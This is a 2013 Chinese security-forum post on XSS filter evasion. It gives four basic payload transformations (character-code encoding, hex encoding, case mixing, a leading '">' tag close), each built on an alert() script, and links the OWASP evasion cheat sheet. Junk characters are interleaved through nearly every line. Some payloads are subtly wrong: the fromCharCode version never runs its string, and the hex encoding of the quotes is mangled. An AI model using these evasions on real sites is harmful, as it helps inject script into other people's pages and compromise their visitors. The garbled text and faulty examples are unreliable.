找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1962|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。, q1 u8 C2 p- s. T; Q. x. v& z
1.转换为ASCII码& E7 Z0 a  }1 j4 [
例子:原脚本为<script>alert(‘I love F4ck’)</script >6 @3 r+ j. R2 s; l/ t; C1 [8 a
通过转换,变成:- P9 f2 M& d% l# d# n+ l! r
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>4 i, z9 t2 x3 O) U
. \* q$ i0 f! G3 D) r
2.转换为HEX(十六进制)
, i6 S3 g8 I, D例子:原脚本为<script>alert(‘I love F4ck’)</script>+ f; k( T* C2 g7 I, ~
通过转换,变成:
8 J0 ?0 r; ^" |7 d' ?, @$ b& P2 _( r%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
( p' \1 a6 }  @& v! ]" m 7 M+ K' ^1 g+ q! ?+ j+ V, T
3.转换脚本的大小写
8 W# z5 C/ v) ]/ s( B* X0 q; `例子:原脚本为<script>alert(‘I love F4ck’)</script>
" ~& J* C+ ]6 V2 |. ^; j转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
8 O; s. X5 S) H 9 u, s# V3 I" s" z% L$ A% h6 z8 [" b
4.增加闭合标记”>% P' I" n! o& o& D6 d- @. _3 ]% p& L
例子:原脚本为<script>alert(‘I love F4ck’)</script>
% g! @7 b- G6 K5 J  P转换为:”><script>alert(‘I love F4ck’)</script>
6 e( C8 a, @+ [( [. S, Q5 u7 \, k更详细绕过技术请参考此网页
" f" O/ v. O, |/ }+ p( _https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
( c% h2 j; `1 p  {9 |' h0 l4 g 0 e' e- o5 P4 x  [! A6 x( v. a
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表